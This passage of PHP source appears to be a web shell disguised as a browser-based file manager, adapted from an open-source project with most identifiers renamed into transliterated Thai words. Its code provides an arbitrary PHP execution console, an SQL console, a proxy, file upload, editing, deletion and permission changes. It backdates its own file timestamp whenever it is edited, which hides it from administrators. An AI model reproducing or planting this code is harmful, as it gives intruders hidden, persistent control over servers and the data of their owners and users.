$result_config = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'thangweb_proxy', $result_config); $result_config = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.hometang_style().'</style>'.$proxy_form, $result_config); echo $result_config; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADAT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yl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=hometang_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.kanchamnai(__('Show size of the folder'),'show_dir_size').' '.kanchamnai(__('Show').' '.__('pictures'),'show_img').' '.kanchamnai(__('Show').' '.__('Make directory'),'make_directory').' '.kanchamnai(__('Show').' '.__('New file'),'new_file').' '.kanchamnai(__('Show').' '.__('Upload'),'upload_file').' '.kanchamnai(__('Show').' PHP version','show_php_ver').' '.kanchamnai(__('Show').' PHP ini','show_php_ini').' '.kanchamnai(__('Show').' '.__('Generation time'),'show_gt').' '.kanchamnai(__('Show').' xls','show_xls').' '.kanchamnai(__('Show').' PHP '.__('Console'),'enable_php_console').' '.kanchamnai(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.kanchamnai(__('Show').' Proxy','enable_proxy').' '.kanchamnai(__('Show').' phpinfo()','show_phpinfo').' '.kanchamnai(__('Show').' '.__('Settings'),'fm_settings').' '.kanchamnai(__('Restore file time after editing'),'restore_time').' '.kanchamnai(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.thangweb().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_anuyatkan]" value="'.$auth_local['days_anuyatkan'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo lobrasana('php'),lobrasana('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.binbatmanukrom('php'); else echo '</h2></td><td>'.binbatmanukrom('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=hometang()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(prapai($path . $_REQUEST['rights'], plianphawa($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = sathani($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=hometang()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=binbatmanukrom('php')?> </td> <td> <?=binbatmanukrom('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=rabobhasar($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = sarapadtrai($path, '', 'all', true); $dirs = array(); $khumfail = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $khumfail[] = $file; } } natsort($dirs); natsort($khumfail); $elements = array_merge($dirs, $khumfail); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!tangkhluai($file)) $filedata[7] = phimbatthang($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (tangkhluai($file)||$phar_maybe) ? '' : rangkhwampanithan('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (tangkhluai($file)||$phar_maybe) ? '' : rangkhwampanithan('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!tangkhluai($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . chitphanitharn($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.chitphanitharn($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = rangkhwampanithan('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((tangkhluai($file)||$phar_maybe) ? '' : rangkhwampanithan('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = tangkhluai($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = tangkhluai($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @sathani($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo hometang().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.sitangkaan().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function lodxls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' lodxls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $namaraksam = ''; var $failchuangkhrao = 0; var $phuntarafail = 0; var $bangchumphak = true; var $khwamphidphlad = array(); var $khumfail = array(); function __construct(){ if (!isset($this->khwamphidphlad)) $this->khwamphidphlad = array(); } function sangsamak($file_list){ $result_config = false; if (file_exists($this->namaraksam) && is_file($this->namaraksam)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->borikhian()) return false; } else { if (khumfailize($this->namaraksam) == 0) return $this->borikhian(); if ($this->bangchumphak) { $this->pitfailchuang(); if (!rename($this->namaraksam, $this->namaraksam.'.tmp')){ $this->khwamphidphlad[] = __('Cannot rename').' '.$this->namaraksam.__(' to ').$this->namaraksam.'.tmp'; return false; } $tmpArchive = gzopen($this->namaraksam.'.tmp', 'rb'); if (!$tmpArchive){ $this->khwamphidphlad[] = $this->namaraksam.'.tmp '.__('is not readable'); 